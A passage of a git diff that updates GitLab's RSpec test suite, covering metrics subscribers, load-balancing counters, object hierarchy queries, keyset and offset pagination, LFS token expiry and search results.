end
+
+ context 'with environment_ids' do
+ subject { Gitlab::Kubernetes::NetworkPolicy.from_resource(resource, [1, 2, 3]) }
+
+ it 'includes environment_ids in as_json result' do
+ expect(subject.as_json).to include(environment_ids: [1, 2, 3])
+ end
+ end
end
describe '#resource' do
diff --git a/spec/lib/gitlab/language_detection_spec.rb b/spec/lib/gitlab/language_detection_spec.rb
index 14523be8ec6..9430ecf7baf 100644
--- a/spec/lib/gitlab/language_detection_spec.rb
+++ b/spec/lib/gitlab/language_detection_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::LanguageDetection do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:ruby) { create(:programming_language, name: 'Ruby') }
let_it_be(:haskell) { create(:programming_language, name: 'Haskell') }
+
let(:repository) { project.repository }
let(:detection) do
[{ value: 66.63, label: "Ruby", color: "#701516", highlight: "#701516" },
diff --git a/spec/lib/gitlab/lfs_token_spec.rb b/spec/lib/gitlab/lfs_token_spec.rb
index 4b40e8960b2..a8472062f03 100644
--- a/spec/lib/gitlab/lfs_token_spec.rb
+++ b/spec/lib/gitlab/lfs_token_spec.rb
@@ -126,7 +126,7 @@ RSpec.describe Gitlab::LfsToken, :clean_gitlab_redis_shared_state do
end
context 'when the user password is expired' do
- let(:actor) { create(:user, password_expires_at: 1.minute.ago) }
+ let(:actor) { create(:user, password_expires_at: 1.minute.ago, password_automatically_set: true) }
it 'returns false' do
expect(lfs_token.token_valid?(lfs_token.token)).to be false
diff --git a/spec/lib/gitlab/memory/instrumentation_spec.rb b/spec/lib/gitlab/memory/instrumentation_spec.rb
index 0dbe9a8e275..069c45da18a 100644
--- a/spec/lib/gitlab/memory/instrumentation_spec.rb
+++ b/spec/lib/gitlab/memory/instrumentation_spec.rb
@@ -18,24 +18,8 @@ RSpec.describe Gitlab::Memory::Instrumentation do
describe '.start_thread_memory_allocations' do
subject { described_class.start_thread_memory_allocations }
- context 'when feature flag trace_memory_allocations is enabled' do
- before do
- stub_feature_flags(trace_memory_allocations: true)
- end
-
- it 'a hash is returned' do
- is_expected.not_to be_empty
- end
- end
-
- context 'when feature flag trace_memory_allocations is disabled' do
- before do
- stub_feature_flags(trace_memory_allocations: false)
- end
-
- it 'a nil is returned' do
- is_expected.to be_nil
- end
+ it 'a hash is returned' do
+ is_expected.to be_a(Hash)
end
context 'when feature is unavailable' do
@@ -63,30 +47,14 @@ RSpec.describe Gitlab::Memory::Instrumentation do
expect(described_class).to receive(:measure_thread_memory_allocations).and_call_original
end
- context 'when feature flag trace_memory_allocations is enabled' do
- before do
- stub_feature_flags(trace_memory_allocations: true)
- end
-
- it 'a hash is returned' do
- result = subject
- expect(result).to include(
- mem_objects: be > 1000,
- mem_mallocs: be > 1000,
- mem_bytes: be > 100_000, # 100 items * 100 bytes each
- mem_total_bytes: eq(result[:mem_bytes] + 40 * result[:mem_objects])
- )
- end
- end
-
- context 'when feature flag trace_memory_allocations is disabled' do
- before do
- stub_feature_flags(trace_memory_allocations: false)
- end
-
- it 'a nil is returned' do
- is_expected.to be_nil
- end
+ it 'a hash is returned' do
+ result = subject
+ expect(result).to include(
+ mem_objects: be > 1000,
+ mem_mallocs: be > 1000,
+ mem_bytes: be > 100_000, # 100 items * 100 bytes each
+ mem_total_bytes: eq(result[:mem_bytes] + 40 * result[:mem_objects])
+ )
end
context 'when feature is unavailable' do
diff --git a/spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb b/spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb
index 153cf43be0a..0516091a8ec 100644
--- a/spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Metrics::Subscribers::ActionCable, :request_store do
let(:subscriber) { described_class.new }
let(:counter) { double(:counter) }
- let(:data) { { data: { event: 'updated' } } }
+ let(:data) { { 'result' => { 'data' => { 'event' => 'updated' } } } }
let(:channel_class) { 'IssuesChannel' }
let(:event) do
double(
@@ -35,6 +35,17 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActionCable, :request_store do
subscriber.transmit(event)
end
+
+ it 'tracks size of payload as JSON' do
+ allow(::Gitlab::Metrics).to receive(:histogram).with(
+ :action_cable_transmitted_bytes, /transmit/
+ ).and_return(counter)
+ message_size = ::ActiveSupport::JSON.encode(data).bytesize
+
+ expect(counter).to receive(:observe).with({ channel: channel_class, operation: 'event' }, message_size)
+
+ subscriber.transmit(event)
+ end
end
describe '#broadcast' do
diff --git a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
index cffa62c3a52..6fc8f090431 100644
--- a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
let(:env) { {} }
let(:subscriber) { described_class.new }
- let(:connection) { double(:connection) }
+ let(:connection) { ActiveRecord::Base.connection }
describe '#transaction' do
let(:web_transaction) { double('Gitlab::Metrics::WebTransaction') }
@@ -183,6 +183,8 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
'SQL' | 'UPDATE users SET admin = true WHERE id = 10' | true | true | false | false
'SQL' | 'SELECT pg_current_wal_insert_lsn()::text AS location' | true | false | false | true
'SQL' | 'SELECT pg_last_wal_replay_lsn()::text AS location' | true | false | false | true
+ 'CACHE' | 'SELECT pg_current_wal_insert_lsn()::text AS location' | true | false | true | true
+ 'CACHE' | 'SELECT pg_last_wal_replay_lsn()::text AS location' | true | false | true | true
'CACHE' | 'SELECT * FROM users WHERE id = 10' | true | false | true | false
'SCHEMA' | "SELECT attr.attname FROM pg_attribute attr INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey) WHERE cons.contype = 'p' AND cons.conrelid = '\"projects\"'::regclass" | false | false | false | false
nil | 'BEGIN' | false | false | false | false
diff --git a/spec/lib/gitlab/metrics/subscribers/load_balancing_spec.rb b/spec/lib/gitlab/metrics/subscribers/load_balancing_spec.rb
new file mode 100644
index 00000000000..21a6573c6fd
--- /dev/null
+++ b/spec/lib/gitlab/metrics/subscribers/load_balancing_spec.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Metrics::Subscribers::LoadBalancing, :request_store do
+ let(:subscriber) { described_class.new }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ describe '#caught_up_replica_pick' do
+ shared_examples 'having payload result value' do |result, counter_name|
+ subject { subscriber.caught_up_replica_pick(event) }
+
+ let(:payload) { { result: result } }
+
+ let(:event) do
+ double(
+ :event,
+ name: 'load_balancing.caught_up_replica_pick',
+ payload: payload
+ )
+ end
+
+ it 'stores per-request caught up replica search result' do
+ subject
+
+ expect(Gitlab::SafeRequestStore[counter_name]).to eq(1)
+ end
+ end
+
+ it_behaves_like 'having payload result value', true, :caught_up_replica_pick_ok
+ it_behaves_like 'having payload result value', false, :caught_up_replica_pick_fail
+ end
+
+ describe "#web_transaction_completed" do
+ subject { subscriber.web_transaction_completed(event) }
+
+ let(:event) do
+ double(
+ :event,
+ name: 'load_balancing.web_transaction_completed',
+ payload: {}
+ )
+ end
+
+ let(:web_transaction) { double('Gitlab::Metrics::WebTransaction') }
+
+ before do
+ allow(::Gitlab::Metrics::WebTransaction).to receive(:current)
+ .and_return(web_transaction)
+ end
+
+ context 'when no data in request store' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick] = nil
+ end
+
+ it 'does not change the counters' do
+ expect(web_transaction).not_to receive(:increment)
+ end
+ end
+
+ context 'when request store was updated' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = 2
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_fail] = 1
+ end
+
+ it 'increments :caught_up_replica_pick count with proper label' do
+ expect(web_transaction).to receive(:increment).with(:gitlab_transaction_caught_up_replica_pick_count_total, 2, { result: true })
+ expect(web_transaction).to receive(:increment).with(:gitlab_transaction_caught_up_replica_pick_count_total, 1, { result: false })
+
+ subject
+ end
+ end
+ end
+
+ describe '.load_balancing_payload' do
+ subject { described_class.load_balancing_payload }
+
+ context 'when no data in request store' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = nil
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_fail] = nil
+ end
+
+ it 'returns empty hash' do
+ expect(subject).to eq({})
+ end
+ end
+
+ context 'when request store was updated for a single counter' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = 2
+ end
+
+ it 'returns proper payload with only that counter' do
+ expect(subject).to eq({ caught_up_replica_pick_ok: 2 })
+ end
+ end
+
+ context 'when both counters were updated' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = 2
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_fail] = 1
+ end
+
+ it 'return proper payload' do
+ expect(subject).to eq({ caught_up_replica_pick_ok: 2, caught_up_replica_pick_fail: 1 })
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/object_hierarchy_spec.rb b/spec/lib/gitlab/object_hierarchy_spec.rb
index 7615b37521a..64161fbafdd 100644
--- a/spec/lib/gitlab/object_hierarchy_spec.rb
+++ b/spec/lib/gitlab/object_hierarchy_spec.rb
@@ -9,265 +9,178 @@ RSpec.describe Gitlab::ObjectHierarchy do
let(:options) { {} }
- shared_context 'Gitlab::ObjectHierarchy test cases' do
- describe '#base_and_ancestors' do
- let(:relation) do
- described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors
- end
-
- it 'includes the base rows' do
- expect(relation).to include(child2)
- end
-
- it 'includes all of the ancestors' do
- expect(relation).to include(parent, child1)
- end
-
- it 'can find ancestors upto a certain level' do
- relation = described_class.new(Group.where(id: child2), options: options).base_and_ancestors(upto: child1)
-
- expect(relation).to contain_exactly(child2)
- end
-
- it 'uses ancestors_base #initialize argument' do
- relation = described_class.new(Group.where(id: child2.id), Group.none, options: options).base_and_ancestors
+ describe '#base_and_ancestors' do
+ let(:relation) do
+ described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors
+ end
- expect(relation).to include(parent, child1, child2)
- end
+ it 'includes the base rows' do
+ expect(relation).to include(child2)
+ end
- it 'does not allow the use of #update_all' do
- expect { relation.update_all(share_with_group_lock: false) }
- .to raise_error(ActiveRecord::ReadOnlyRecord)
- end
+ it 'includes all of the ancestors' do
+ expect(relation).to include(parent, child1)
+ end
- describe 'hierarchy_order option' do
- let(:relation) do
- described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors(hierarchy_order: hierarchy_order)
- end
+ it 'can find ancestors upto a certain level' do
+ relation = described_class.new(Group.where(id: child2), options: options).base_and_ancestors(upto: child1)
- context ':asc' do
- let(:hierarchy_order) { :asc }
+ expect(relation).to contain_exactly(child2)
+ end
- it 'orders by child to parent' do
- expect(relation).to eq([child2, child1, parent])
- end
- end
+ it 'uses ancestors_base #initialize argument' do
+ relation = described_class.new(Group.where(id: child2.id), Group.none, options: options).base_and_ancestors
- context ':desc' do
- let(:hierarchy_order) { :desc }
+ expect(relation).to include(parent, child1, child2)
+ end
- it 'orders by parent to child' do
- expect(relation).to eq([parent, child1, child2])
- end
- end
- end
+ it 'does not allow the use of #update_all' do
+ expect { relation.update_all(share_with_group_lock: false) }
+ .to raise_error(ActiveRecord::ReadOnlyRecord)
end
- describe '#base_and_descendants' do
+ describe 'hierarchy_order option' do
let(:relation) do
- described_class.new(Group.where(id: parent.id), options: options).base_and_descendants
- end
-
- it 'includes the base rows' do
- expect(relation).to include(parent)
- end
-
- it 'includes all the descendants' do
- expect(relation).to include(child1, child2)
+ described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors(hierarchy_order: hierarchy_order)
end
- it 'uses descendants_base #initialize argument' do
- relation = described_class.new(Group.none, Group.where(id: parent.id), options: options).base_and_descendants
+ context ':asc' do
+ let(:hierarchy_order) { :asc }
- expect(relation).to include(parent, child1, child2)
- end
-
- it 'does not allow the use of #update_all' do
- expect { relation.update_all(share_with_group_lock: false) }
- .to raise_error(ActiveRecord::ReadOnlyRecord)
- end
-
- context 'when with_depth is true' do
- let(:relation) do
- described_class.new(Group.where(id: parent.id), options: options).base_and_descendants(with_depth: true)
+ it 'orders by child to parent' do
+ expect(relation).to eq([child2, child1, parent])
end
+ end
- it 'includes depth in the results' do
- object_depths = {
- parent.id => 1,
- child1.id => 2,
- child2.id => 3
- }
+ context ':desc' do
+ let(:hierarchy_order) { :desc }
- relation.each do |object|
- expect(object.depth).to eq(object_depths[object.id])
- end
+ it 'orders by parent to child' do
+ expect(relation).to eq([parent, child1, child2])
end
end
end
+ end
- describe '#descendants' do
- it 'includes only the descendants' do
- relation = described_class.new(Group.where(id: parent), options: options).descendants
-
- expect(relation).to contain_exactly(child1, child2)
- end
+ describe '#base_and_descendants' do
+ let(:relation) do
+ described_class.new(Group.where(id: parent.id), options: options).base_and_descendants
end
- describe '#max_descendants_depth' do
- subject { described_class.new(base_relation, options: options).max_descendants_depth }
-
- context 'when base relation is empty' do
- let(:base_relation) { Group.where(id: nil) }
-
- it { expect(subject).to be_nil }
- end
-
- context 'when base has no children' do
- let(:base_relation) { Group.where(id: child2) }
-
- it { expect(subject).to eq(1) }
- end
-
- context 'when base has grandchildren' do
- let(:base_relation) { Group.where(id: parent) }
-
- it { expect(subject).to eq(3) }
- end
+ it 'includes the base rows' do
+ expect(relation).to include(parent)
end
- describe '#ancestors' do
- it 'includes only the ancestors' do
- relation = described_class.new(Group.where(id: child2), options: options).ancestors
+ it 'includes all the descendants' do
+ expect(relation).to include(child1, child2)
+ end
- expect(relation).to contain_exactly(child1, parent)
- end
+ it 'uses descendants_base #initialize argument' do
+ relation = described_class.new(Group.none, Group.where(id: parent.id), options: options).base_and_descendants
- it 'can find ancestors upto a certain level' do
- relation = described_class.new(Group.where(id: child2), options: options).ancestors(upto: child1)
+ expect(relation).to include(parent, child1, child2)
+ end
- expect(relation).to be_empty
- end
+ it 'does not allow the use of #update_all' do
+ expect { relation.update_all(share_with_group_lock: false) }
+ .to raise_error(ActiveRecord::ReadOnlyRecord)
end
- describe '#all_objects' do
+ context 'when with_depth is true' do
let(:relation) do
- described_class.new(Group.where(id: child1.id), options: options).all_objects
+ described_class.new(Group.where(id: parent.id), options: options).base_and_descendants(with_depth: true)
end
- it 'includes the base rows' do
- expect(relation).to include(child1)
- end
-
- it 'includes the ancestors' do
- expect(relation).to include(parent)
- end
+ it 'includes depth in the results' do
+ object_depths = {
+ parent.id => 1,
+ child1.id => 2,
+ child2.id => 3
+ }
- it 'includes the descendants' do
- expect(relation).to include(child2)
- end
-
- it 'uses ancestors_base #initialize argument for ancestors' do
- relation = described_class.new(Group.where(id: child1.id), Group.where(id: non_existing_record_id), options: options).all_objects
-
- expect(relation).to include(parent)
+ relation.each do |object|
+ expect(object.depth).to eq(object_depths[object.id])
+ end
end
+ end
+ end
- it 'uses descendants_base #initialize argument for descendants' do
- relation = described_class.new(Group.where(id: non_existing_record_id), Group.where(id: child1.id), options: options).all_objects
-
- expect(relation).to include(child2)
- end
+ describe '#descendants' do
+ it 'includes only the descendants' do
+ relation = described_class.new(Group.where(id: parent), options: options).descendants
- it 'does not allow the use of #update_all' do
- expect { relation.update_all(share_with_group_lock: false) }
- .to raise_error(ActiveRecord::ReadOnlyRecord)
- end
+ expect(relation).to contain_exactly(child1, child2)
end
end
- context 'when the use_distinct_in_object_hierarchy feature flag is enabled' do
- before do
- stub_feature_flags(use_distinct_in_object_hierarchy: true)
- stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
- end
+ describe '#max_descendants_depth' do
+ subject { described_class.new(base_relation, options: options).max_descendants_depth }
- it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+ context 'when base relation is empty' do
+ let(:base_relation) { Group.where(id: nil) }
- it 'calls DISTINCT' do
- expect(child2.self_and_ancestors.to_sql).to include("DISTINCT")
+ it { expect(subject).to be_nil }
end
- context 'when use_traversal_ids feature flag is enabled' do
- it 'does not call DISTINCT' do
- expect(parent.self_and_descendants.to_sql).not_to include("DISTINCT")
- end
+ context 'when base has no children' do
+ let(:base_relation) { Group.where(id: child2) }
+
+ it { expect(subject).to eq(1) }
end
- context 'when use_traversal_ids feature flag is disabled' do
- before do
- stub_feature_flags(use_traversal_ids: false)
- end
+ context 'when base has grandchildren' do
+ let(:base_relation) { Group.where(id: parent) }
- it 'calls DISTINCT' do
- expect(parent.self_and_descendants.to_sql).to include("DISTINCT")
- end
+ it { expect(subject).to eq(3) }
end
end
- context 'when the use_distinct_for_all_object_hierarchy feature flag is enabled' do
- before do
- stub_feature_flags(use_distinct_in_object_hierarchy: false)
- stub_feature_flags(use_distinct_for_all_object_hierarchy: true)
+ describe '#ancestors' do
+ it 'includes only the ancestors' do
+ relation = described_class.new(Group.where(id: child2), options: options).ancestors
+
+ expect(relation).to contain_exactly(child1, parent)
end
- it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+ it 'can find ancestors upto a certain level' do
+ relation = described_class.new(Group.where(id: child2), options: options).ancestors(upto: child1)
- it 'calls DISTINCT' do
- expect(child2.self_and_ancestors.to_sql).to include("DISTINCT")
+ expect(relation).to be_empty
end
+ end
- context 'when use_traversal_ids feature flag is enabled' do
- it 'does not call DISTINCT' do
- expect(parent.self_and_descendants.to_sql).not_to include("DISTINCT")
- end
+ describe '#all_objects' do
+ let(:relation) do
+ described_class.new(Group.where(id: child1.id), options: options).all_objects
end
- context 'when use_traversal_ids feature flag is disabled' do
- before do
- stub_feature_flags(use_traversal_ids: false)
- end
-
- it 'calls DISTINCT' do
- expect(parent.self_and_descendants.to_sql).to include("DISTINCT")
- end
+ it 'includes the base rows' do
+ expect(relation).to include(child1)
+ end
- context 'when the skip_ordering option is set' do
- let(:options) { { skip_ordering: true } }
+ it 'includes the ancestors' do
+ expect(relation).to include(parent)
+ end
- it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+ it 'includes the descendants' do
+ expect(relation).to include(child2)
+ end
- it 'does not include ROW_NUMBER()' do
- query = described_class.new(Group.where(id: parent.id), options: options).base_and_descendants.to_sql
+ it 'uses ancestors_base #initialize argument for ancestors' do
+ relation = described_class.new(Group.where(id: child1.id), Group.where(id: non_existing_record_id), options: options).all_objects
- expect(query).to include("DISTINCT")
- expect(query).not_to include("ROW_NUMBER()")
- end
- end
+ expect(relation).to include(parent)
end
- end
- context 'when the use_distinct_in_object_hierarchy feature flag is disabled' do
- before do
- stub_feature_flags(use_distinct_in_object_hierarchy: false)
- stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
- end
+ it 'uses descendants_base #initialize argument for descendants' do
+ relation = described_class.new(Group.where(id: non_existing_record_id), Group.where(id: child1.id), options: options).all_objects
- it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+ expect(relation).to include(child2)
+ end
- it 'does not call DISTINCT' do
- expect(parent.self_and_descendants.to_sql).not_to include("DISTINCT")
- expect(child2.self_and_ancestors.to_sql).not_to include("DISTINCT")
+ it 'does not allow the use of #update_all' do
+ expect { relation.update_all(share_with_group_lock: false) }
+ .to raise_error(ActiveRecord::ReadOnlyRecord)
end
end
end
diff --git a/spec/lib/gitlab/pagination/keyset/iterator_spec.rb b/spec/lib/gitlab/pagination/keyset/iterator_spec.rb
index 656ae73945e..d8e79287745 100644
--- a/spec/lib/gitlab/pagination/keyset/iterator_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/iterator_spec.rb
@@ -18,110 +18,127 @@ RSpec.describe Gitlab::Pagination::Keyset::Iterator do
Gitlab::Pagination::Keyset::Order.build([
Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
attribute_name: column,
- column_expression: klass.arel_table[column],
- order_expression: ::Gitlab::Database.nulls_order(column, direction, nulls_position),
- reversed_order_expression: ::Gitlab::Database.nulls_order(column, reverse_direction, reverse_nulls_position),
- order_direction: direction,
- nullable: nulls_position,
- distinct: false
+ column_expression: klass.arel_table[column],
+ order_expression: ::Gitlab::Database.nulls_order(column, direction, nulls_position),
+ reversed_order_expression: ::Gitlab::Database.nulls_order(column, reverse_direction, reverse_nulls_position),
+ order_direction: direction,
+ nullable: nulls_position,
+ distinct: false
),
Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
attribute_name: 'id',
- order_expression: klass.arel_table[:id].send(direction),
- add_to_projections: true
+ order_expression: klass.arel_table[:id].send(direction)
)
])
end
let(:scope) { project.issues.reorder(custom_reorder) }
- subject { described_class.new(scope: scope) }
+ shared_examples 'iterator examples' do
+ describe '.each_batch' do
+ it 'yields an ActiveRecord::Relation when a block is given' do
+ iterator.each_batch(of: 1) do |relation|
+ expect(relation).to be_a_kind_of(ActiveRecord::Relation)
+ end
+ end
- describe '.each_batch' do
- it 'yields an ActiveRecord::Relation when a block is given' do
- subject.each_batch(of: 1) do |relation|
- expect(relation).to be_a_kind_of(ActiveRecord::Relation)
+ it 'raises error when ordering configuration cannot be automatically determined' do
+ expect do
+ described_class.new(scope: MergeRequestDiffCommit.order(:merge_request_diff_id, :relative_order))
+ end.to raise_error /The order on the scope does not support keyset pagination/
end
- end
- it 'accepts a custom batch size' do
- count = 0
+ it 'accepts a custom batch size' do
+ count = 0
- subject.each_batch(of: 2) { |relation| count += relation.count(:all) }
+ iterator.each_batch(of: 2) { |relation| count += relation.count(:all) }
- expect(count).to eq(9)
- end
+ expect(count).to eq(9)
+ end
- it 'allows updating of the yielded relations' do
- time = Time.current
+ it 'allows updating of the yielded relations' do
+ time = Time.current
- subject.each_batch(of: 2) do |relation|
- relation.update_all(updated_at: time)
- end
+ iterator.each_batch(of: 2) do |relation|
+ Issue.connection.execute("UPDATE issues SET updated_at = '#{time.to_s(:inspect)}' WHERE id IN (#{relation.reselect(:id).to_sql})")
+ end
- expect(Issue.where(updated_at: time).count).to eq(9)
- end
+ expect(Issue.pluck(:updated_at)).to all(be_within(5.seconds).of(time))
+ end
- context 'with ordering direction' do
- context 'when ordering asc' do
- it 'orders ascending by default, including secondary order column' do
- positions = []
+ context 'with ordering direction' do
+ context 'when ordering asc' do
+ it 'orders ascending by default, including secondary order column' do
+ positions = []
- subject.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
+ iterator.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
- expect(positions).to eq(project.issues.order_relative_position_asc.order(id: :asc).pluck(:relative_position, :id))
+ expect(positions).to eq(project.issues.order_relative_position_asc.order(id: :asc).pluck(:relative_position, :id))
+ end
end
- end
- context 'when reversing asc order' do
- let(:scope) { project.issues.order(custom_reorder.reversed_order) }
+ context 'when reversing asc order' do
+ let(:scope) { project.issues.order(custom_reorder.reversed_order) }
- it 'orders in reverse of ascending' do
- positions = []
+ it 'orders in reverse of ascending' do
+ positions = []
- subject.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
+ iterator.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
- expect(positions).to eq(project.issues.order_relative_position_desc.order(id: :desc).pluck(:relative_position, :id))
+ expect(positions).to eq(project.issues.order_relative_position_desc.order(id: :desc).pluck(:relative_position, :id))
+ end
end
- end
- context 'when asc order, with nulls first' do
- let(:nulls_position) { :nulls_first }
+ context 'when asc order, with nulls first' do
+ let(:nulls_position) { :nulls_first }
- it 'orders ascending with nulls first' do
- positions = []
+ it 'orders ascending with nulls first' do
+ positions = []
- subject.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
+ iterator.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
- expect(positions).to eq(project.issues.reorder(::Gitlab::Database.nulls_first_order('relative_position', 'ASC')).order(id: :asc).pluck(:relative_position, :id))
+ expect(positions).to eq(project.issues.reorder(::Gitlab::Database.nulls_first_order('relative_position', 'ASC')).order(id: :asc).pluck(:relative_position, :id))
+ end
end
- end
- context 'when ordering desc' do
- let(:direction) { :desc }
- let(:nulls_position) { :nulls_last }
+ context 'when ordering desc' do
+ let(:direction) { :desc }
+ let(:nulls_position) { :nulls_last }
- it 'orders descending' do
- positions = []
+ it 'orders descending' do
+ positions = []
- subject.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
+ iterator.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:relative_position, :id)) }
- expect(positions).to eq(project.issues.reorder(::Gitlab::Database.nulls_last_order('relative_position', 'DESC')).order(id: :desc).pluck(:relative_position, :id))
+ expect(positions).to eq(project.issues.reorder(::Gitlab::Database.nulls_last_order('relative_position', 'DESC')).order(id: :desc).pluck(:relative_position, :id))
+ end
end
- end
- context 'when ordering by columns are repeated twice' do
- let(:direction) { :desc }
- let(:column) { :id }
+ context 'when ordering by columns are repeated twice' do
+ let(:direction) { :desc }
+ let(:column) { :id }
- it 'orders descending' do
- positions = []
+ it 'orders descending' do
+ positions = []
- subject.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:id)) }
+ iterator.each_batch(of: 2) { |rel| positions.concat(rel.pluck(:id)) }
- expect(positions).to eq(project.issues.reorder(id: :desc).pluck(:id))
+ expect(positions).to eq(project.issues.reorder(id: :desc).pluck(:id))
+ end
end
end
end
end
+
+ context 'when use_union_optimization is used' do
+ subject(:iterator) { described_class.new(scope: scope, use_union_optimization: true) }
+
+ include_examples 'iterator examples'
+ end
+
+ context 'when use_union_optimization is not used' do
+ subject(:iterator) { described_class.new(scope: scope, use_union_optimization: false) }
+
+ include_examples 'iterator examples'
+ end
end
diff --git a/spec/lib/gitlab/pagination/keyset/order_spec.rb b/spec/lib/gitlab/pagination/keyset/order_spec.rb
index 26f52745b54..562a9bf4460 100644
--- a/spec/lib/gitlab/pagination/keyset/order_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/order_spec.rb
@@ -171,6 +171,12 @@ RSpec.describe Gitlab::Pagination::Keyset::Order do
end
it_behaves_like 'order examples'
+
+ it 'uses the row comparison method' do
+ sql = order.where_values_with_or_query({ year: 2010, month: 5, id: 1 }).to_sql
+
+ expect(sql).to eq('(("my_table"."year", "my_table"."month", "my_table"."id") > (2010, 5, 1))')
+ end
end
context 'when ordering by nullable columns and a distinct column' do
diff --git a/spec/lib/gitlab/pagination/offset_pagination_spec.rb b/spec/lib/gitlab/pagination/offset_pagination_spec.rb
index c9a23170137..f8d50fbc517 100644
--- a/spec/lib/gitlab/pagination/offset_pagination_spec.rb
+++ b/spec/lib/gitlab/pagination/offset_pagination_spec.rb
@@ -130,6 +130,80 @@ RSpec.describe Gitlab::Pagination::OffsetPagination do
end
end
+ context 'when resource already paginated' do
+ let(:resource) { Project.all.page(1).per(1) }
+
+ context 'when per_page param is specified' do
+ let(:query) { base_query.merge(page: 1, per_page: 2) }
+
+ it 'returns appropriate amount of resources based on per_page param' do
+ expect(subject.paginate(resource).count).to eq 2
+ end
+ end
+
+ context 'when page and per page params are strings' do
+ let(:query) { base_query.merge(page: '1', per_page: '1') }
+
+ it 'returns appropriate amount of resources' do
+ expect(subject.paginate(resource).count).to eq 1
+ end
+ end
+
+ context 'when per_page param is blank' do
+ let(:query) { base_query.merge(page: 1) }
+
+ it 'returns appropriate amount of resources' do
+ expect(subject.paginate(resource).count).to eq 1
+ end
+ end
+
+ context 'when page param is blank' do
+ let(:query) { base_query }
+
+ it 'returns appropriate amount of resources based on resource per(N)' do
+ expect(subject.paginate(resource).count).to eq 1
+ end
+ end
+ end
+
+ context 'when resource does not respond to limit_value' do
+ let(:custom_collection) do
+ Class.new do
+ include Enumerable
+
+ def initialize(items)
+ @collection = items
+ end
+
+ def each
+ @collection.each { |item| yield item }
+ end
+
+ def page(number)
+ Kaminari.paginate_array(@collection).page(number)
+ end
+ end
+ end
+
+ let(:resource) { custom_collection.new(Project.all).page(query[:page]) }
+
+ context 'when page param is blank' do
+ let(:query) { base_query }
+
+ it 'returns appropriate amount of resources' do
+ expect(subject.paginate(resource).count).to eq 3
+ end
+ end
+
+ context 'when per_page param is blank' do
+ let(:query) { base_query.merge(page: 1) }
+
+ it 'returns appropriate amount of resources with default per page value' do
+ expect(subject.paginate(resource).count).to eq 3
+ end
+ end
+ end
+
context 'when resource is a paginatable array' do
let(:resource) { Kaminari.paginate_array(Project.all.to_a) }
diff --git a/spec/lib/gitlab/project_search_results_spec.rb b/spec/lib/gitlab/project_search_results_spec.rb
index 2f28b8dfce0..a9c0262fdb2 100644
--- a/spec/lib/gitlab/project_search_results_spec.rb
+++ b/spec/lib/gitlab/project_search_results_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:query) { 'hello world' }
let(:repository_ref) { nil }
let(:filters) { {} }
@@ -208,11 +209,10 @@ RSpec.describe Gitlab::ProjectSearchResults do
describe 'wiki search' do
let(:project) { create(:project, :public, :wiki_repo) }
- let(:wiki) { build(:project_wiki, project: project) }
before do
- wiki.create_page('Files/Title', 'Content')
- wiki.create_page('CHANGELOG', 'Files example')
+ project.wiki.create_page('Files/Title', 'Content')
+ project.wiki.create_page('CHANGELOG', 'Files example')
end
it_behaves_like 'general blob search', 'wiki', 'wiki_blobs' do
@@ -266,6 +266,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
let_it_be(:closed_result) { create(:issue, :closed, project: project, title: 'foo closed') }
let_it_be(:opened_result) { create(:issue, :opened, project: project, title: 'foo opened') }
